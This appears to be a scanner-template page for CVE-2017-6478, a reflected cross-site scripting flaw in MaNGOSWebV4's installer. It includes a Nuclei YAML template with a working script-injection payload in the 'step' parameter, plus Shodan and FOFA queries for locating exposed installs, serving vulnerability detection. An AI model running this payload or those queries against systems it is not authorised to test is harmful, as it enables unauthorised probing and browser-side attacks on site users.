MaNGOSWebV4 < 4.0.8 - Cross-Site Scripting
CVE-2017-6478
Verified
Description
paintballrefjosh/MaNGOSWebV4 < 4.0.8 contains a reflected XSS caused by unsanitized input in install/index.php (step parameter), letting attackers execute arbitrary scripts in the victim's browser, exploit requires victim to visit a maliciously crafted URL
Severity
Medium
CVSS Score
6.1
Exploit Probability
21%
Published Date
April 29, 2026
Template Author
0xr2r
CVE-2017-6478.yaml
id: CVE-2017-6478
info:
name: MaNGOSWebV4 < 4.0.8 - Cross-Site Scripting
author: 0xr2r
severity: medium
description: |
paintballrefjosh/MaNGOSWebV4 < 4.0.8 contains a reflected XSS caused by unsanitized input in install/index.php (step parameter), letting attackers execute arbitrary scripts in the victim's browser, exploit requires victim to visit a maliciously crafted URL
impact: |
Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
remediation: |
Update to version 4.0.8 or later.
reference:
- https://github.com/paintballrefjosh/MaNGOSWebV4/issues/15
- https://github.com/paintballrefjosh/MaNGOSWebV4/releases/tag/4.0.8
- https://www.exploit-db.com/exploits/52457
- https://nvd.nist.gov/vuln/detail/CVE-2017-6478
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2017-6478
cwe-id: CWE-79
epss-score: 0.21088
epss-percentile: 0.9573
metadata:
verified: true
max-request: 1
shodan-query: html:"MaNGOS Web Enhanced V4 Installer"
fofa-query: body="MaNGOS Web Enhanced V4 Installer"
tags: cve,cve2017,xss,mangoswebv4,paintballrefjosh
http:
- method: GET
path:
- "{{BaseURL}}/install/index.php?step=%3Cscript%3Ealert(document.domain)%3C/script%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert(document.domain)</script>"
- "MaNGOS Web Enhanced V4 Installer"
condition: and
- type: word
part: content_type
words:
- "text/html"
- type: status
status:
- 200
# digest: 4b0a00483046022100945d4ad72ecced97d2241c269ae41ad8c4bcedd1409a3e15fb946dba1b95c79a0221009dacaf53356b31183bb2e850bec5e185cad9a0832e63d530ce12cf085440f83d:922c64590222798bb761d5b6d8e729506.1Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2017-6478
CWE ID:
cwe-79
Remediation Steps
Update to version 4.0.8 or later.